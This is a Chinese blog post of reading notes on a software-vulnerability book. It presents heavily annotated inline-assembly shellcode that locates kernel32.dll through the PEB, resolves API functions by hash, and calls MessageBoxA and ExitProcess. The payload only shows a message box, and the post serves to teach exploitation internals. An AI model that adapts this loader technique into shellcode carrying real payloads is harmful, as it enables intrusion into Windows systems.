《0day:软件漏洞分析技术》读书笔记

//此代码出自《0day安全:软件漏洞分析技术》P93:添加注释
//注释中实际内存地址,就是虚拟地址。
#include <stdlib.h>
#include <stdio.h>

int main()
{
  _asm
  {
    CLD
    push 0x1e380a6a  ;MessageBoxA
    push 0x4fd18963  ;ExitProcess
    push 0x0c917432  ;LoadLibraryA
    mov esi, esp  ;esi指向的是LoadLibraryA
    lea edi, [esi - 0xc]  ;edi指向的是未使用的栈地址起始位置,用来保存函数地址

    xor ebx, ebx  ;ebx = 0
    mov bh, 0x04  ;ebx = 0x4
    sub esp, ebx  ;栈地址提升4个偏移

    mov bx, 0x3233  ;32
    push ebx
    push 0x72657375  ;user
    push esp    ;将栈中放入user32
    xor edx, edx  ;清edx

    mov ebx, fs:[edx + 0x30]  ;ebx进程环境块PEB的地址
    mov ecx, [ebx + 0xc]    ;ecx存放PEB_LDR_DATA结构体的指针
    mov ecx, [ecx + 0x1c]    ;ecx中存放指向模块初始化链表的头指针InInitializationOrderModuleList
    mov ecx, [ecx]        ;InInitializationOrderModuleList中按顺序存放着PE装入运行时初始化模块的信息,
                  ;第一个是ntdll.dll,ntdll.dll所指向的就是kernel32.dll
    mov ebp, [ecx + 0x8]    ;ecx + 0x8就是kernel32.dll在内存中的加载基地址

find_lib_functions:
    lodsd            ;lodsd是把DS:ESI所指向的地址处的数据放入eax中,也就是0x0c917432
                  ;然后ESI+4,此时ESI指向的是ExitProcess
    cmp eax, 0x1e380a6a      ;此处用来判断是否把所有需要的函数地址都获取完成,MessageBoxA
    jne find_functions      ;由于MessageBoxA在user32.dll中,因此,需要先加载user32.dll
    xchg eax, ebp        ;使用ebp保存MessageBoxA的hash
    call [edi - 0x8]      ;LoadLibraryA 参数在上面,push esp那里
    xchg eax, ebp        ;此时ebp为user32.dll的基地址,eax为MessageBoxA的hash

find_functions:
    pushad            ;Push(EAX);0x0c917432  LoadLibraryA
                  ;Push(ECX);kernel32.dll链表节点
                  ;Push(EDX);为0
                  ;Push(EBX);进程环境块PEB的地址
                  ;Push(ESP);该ESP为执行pushad之前的ESP
                  ;Push(EBP);kernel32.dll在内存中的加载基地址
                  ;Push(ESI);esi指向的是ExitProcess
                  ;Push(EDI);edi指向的是未使用的栈地址起始位置,用来保存函数地址
                  ;此处入栈顺序必须记得,后面会使用到
    mov eax, [ebp + 0x3c]    ;Kernel32.dll基地址 + 0x3c是PE头
    mov ecx, [ebp + eax + 0x78]  ;此时ecx存放的是函数导出表的指针
    add ecx, ebp        ;导出表的此次加载实际内存地址
    mov ebx, [ecx + 0x20]    ;偏移0x20处指向导出函数函数名的列表
    add ebx, ebp        ;函数名的列表此次加载的实际内存地址
    xor edi, edi        ;edi清0,用来计数

next_function_loop:
    inc edi
    mov esi, [ebx + edi * 4]  ;取出每个函数名的地址
    add esi, ebp        ;函数名的实际内存地址
    cdq              ;把EDX的所有位都设成EAX最高位的值,可以暂时简单理解为把EDX清0

hash_loop:              ;此处循环计算hash
    movsx eax, byte ptr[esi]
    cmp al, ah          ;判断是否把函数名计算完成
    jz compare_hash
    ror edx, 7
    add edx, eax
    inc esi
    jmp hash_loop

compare_hash:
    cmp edx, [esp + 0x1c]  ;由于刚刚的pushad,把寄存器都压入栈中,此时esp指向的是栈中的EDI,
                ;esp + 1c指向的则是EAX,LoadLibraryA
    jnz next_function_loop
    mov ebx, [ecx + 0x24]  ;在导出表结构中,偏移0x24是导出函数序号的相对虚拟地址
    add ebx, ebp      ;导出函数序号的虚拟地址
    mov di, [ebx + 2 * edi]  ;获取第edi个函数的函数序号,由于函数序号是一个WORD型的数据,因此edi * 2
    mov ebx, [ecx + 0x1c]  ;此处为导出函数的相对虚拟地址
    add ebx, ebp      ;导出函数的虚拟地址
    add ebp, [ebx + 4 * edi];获取函数序号所对应的函数地址,这就是我们最终所需要的函数地址。
    xchg eax, ebp      ;eax为所需要的函数地址
    pop edi          ;EDI出栈,用来保存LoadLibraryA的函数地址
    stosd          ;mov [edi],eax    函数地址保存
                ;add edi,4
    
    push edi        
    popad          ;此时,相对于pushad的时候,只有edi变化了,增加了4,其它寄存器均未变化

    cmp eax, 0x1e380a6a    ;当所有地址都获取完成后
    jne find_lib_functions

function_call:
    xor ebx, ebx
    push ebx
    push 0x2121216E      ;
    push 0x3167304C      ;
    mov eax, esp
    push ebx        ;压入参数
    push eax
    push eax
    push ebx
    call [edi - 0x04]    ;调用MessageBoxA
    push ebx
    call [edi - 0x08]    ;调用ExitProcess
    nop
    nop
    nop
    nop
  }
  system("pause");
  return 0;
}

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值